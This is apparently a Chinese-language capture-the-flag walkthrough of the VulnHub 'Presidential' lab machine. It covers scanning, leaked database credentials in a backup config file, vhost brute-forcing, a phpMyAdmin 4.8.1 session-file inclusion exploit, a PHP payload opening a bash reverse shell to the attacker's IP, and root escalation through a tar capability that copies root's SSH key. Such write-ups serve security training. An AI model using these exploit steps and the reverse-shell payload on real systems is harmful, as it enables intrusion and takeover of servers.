VulnHub-Presidential

前言

  这是打靶训练的第27周,难度中,靶机下载

信息搜集

  nmap扫描结果

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.5.38)
2082/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)

  网站首页
  
  dirsearch扫描结果

[17:56:56] 200 -   20KB - /about.html
[17:57:09] 301 -  235B  - /assets  ->  http://10.16.122.55/assets/
[17:57:09] 200 -    1KB - /assets/
[17:57:13] 403 -  210B  - /cgi-bin/
[17:57:14] 200 -    0B  - /config.php
[17:57:15] 200 -  107B  - /config.php.bak
[17:57:27] 200 -   11KB - /index.html

  果断下载config.php.bak

<?php
$dbUser = "votebox";
$dbPass = "casoj3FFASPsbyoRP";
$dbHost = "localhost";
$dbname = "votebox";
?>

  尝试使用此账号登录ssh,禁止密码登录
  
  这扫描结果也没有更多的信息了。再仔细看看网页,首页最上面的contact@votenow.local有域名。会不会存在子域名。绑定好后,开始爆破

gobuster vhost -u http://votenow.local / -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt | grep "Status: 200"

  
  还真存在datasafe.votenow.local,打开后是phpmyadmin
  
  使用前面搜集的账号votebox:casoj3FFASPsbyoRP,成功登录
  在votebox.users存在账号admin,$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i。使用john爆破出密码为Stella。先记下
  
  发现版本是4.8.1
  
  4.8.1存在漏洞,在SQL中执行select '<?php phpinfo() ?>'
  
  通过F12获取cookie中的phpmyadmin的值,
  
  获取值为1gj2o1nqlm449i13s6en97qs95vvk8hk,构建包含Session值的URL路径,sess_[session]

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_1gj2o1nqlm449i13s6en97qs95vvk8hk

  存在漏洞
  
  现在可以反弹shell后,先退出,再重新登录一遍phpmyadmin,刷新下cookie。执行sql语句select '<?php system("bash -i >& /dev/tcp/10.16.122.31/4444 0>&1"); ?>'。之后按照上面的步骤,得到shell
  

提权

  还记得前面获取到admin账号,密码Stella,切换过去
  
  使用Capabilities进行提权,/usr/sbin/getcap -r / 2>/dev/null,admin具有tarS权限
  
  输入以下命令完成提权

cd /home/admin
tarS -cvf k.tar /root/.ssh/id_rsa
tar -xvf k.tar
cd root/.ssh
ssh -i id_rsa root@localhost -p 2082

  

查看评论 -
评论